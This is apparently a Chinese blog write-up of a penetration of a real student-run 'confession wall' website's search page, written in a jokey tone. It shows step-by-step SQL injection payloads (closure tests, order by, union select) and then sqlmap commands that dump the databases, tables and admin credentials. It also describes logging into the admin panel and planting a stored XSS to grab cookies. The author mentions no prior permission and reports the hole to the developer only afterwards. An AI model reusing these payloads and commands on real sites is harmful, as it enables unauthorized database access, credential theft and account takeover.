la58fx8l.png
   这是一个高中生站长写的表白墙,这是一个搜索的页面。因为留言的数据都保存在数据库中,所以很明显这里可能存在搜索型注入。 我们先输入正常的数据来测试,输入一个6效果如下图所示。很明显是后面一个参数起到搜索的作用

la58ss5m.png
 我们可以猜测一下后端的sql语句是怎么写的?(这里有一个小坑 因为实际sql语句不是这么写的)

select * from table where column like '%xxx%';

第一步:判断数据是被什么包裹的
这里我尝试了注释和引号闭合两种方法
注释:6%' or 1=1%23 这里我惊奇的发现php竟然报错了,泄露了网站的绝对路径
la59inxx.png
说明开发者没有关闭错误提示

引号闭合:6%' or '
la59urig.png
发现和输入6的回显界面一样,那么就说明这里存在搜索型注入且无任何过滤

第二步:order by来判断字段数

payload=%'  order by 5 or '

php依旧是报错的,为啥会报错呢?我推断是因为前面的闭合不正确,于是找到了源码,通过一番查找,我发现原来sql语句是这样的

  $sql= "select * from {$wan} where( ta like '%{$nr}%' OR i like '%{$nr}%' OR love like '%{$nr}%');";

原来还有个括号,长见识了,哈哈哈哈哈!
那么正确的payload如下

payload=6%')  order by 5 -- -

确定了该表字段有5列
la5ab4id.png

第三步:尝试联合注入

payload = -6%')  union select 1,database(),3,4,5 -- -

la5aharl.png
很明显,这里使用联合注入效果最好,那么为了加快注入的速度,我们使用sqlmap进行注入
暴库

sqlmap -u "http://xxx.xxx/xxx/ss.php?wan=0&nr=6" -p nr --random-agent --level 3 --dbs

la5g6uc1.png
爆表

sqlmap -u "http://xxx.xxx/xxx/ss.php?wan=0&nr=6" -p nr --random-agent --level 3 -D serxxxxx --tables

la5gbkxy.png
其中admin表比较像后台账号和密码,我们选择admin表
爆破字段

sqlmap -u "http://xxx.xxx/xxx/ss.php?wan=0&nr=6" -p nr --random-agent --level 3 -D serxxxxxx -T admin --column

la5gi7pk.png
爆破数据

sqlmap -u "http://xxxx.xxx/xxx/ss.php?wan=0&nr=6" -p nr --random-agent --level 3 -D serxxxxx -T admin -C mm nc --dump

最终得到了账号密码
la5gnxww.png
成功登录后台
la5goweo.png
在公告里面构造了存储型的xss一枚 由于技术原因我只会打cookie 我打我自己2333
la5gqf9o.png
其实 我还想拿shell的 但是由于mysql的@@secure_file_priv值为null 拿shell失败
渗透之旅到此结束

最后也是告诉了全栈开发者这个漏洞 让他修复了(我真的不想看见漏洞被修复啊QAQ)
la5gy25k.png

可见mysqli_real_escape_string() 调用mysql库的函数 mysqli_real_escape_string,
在以下字符前添加反斜杠: \x00, \n, \r, \, ', " 和 \x1a.有多么变态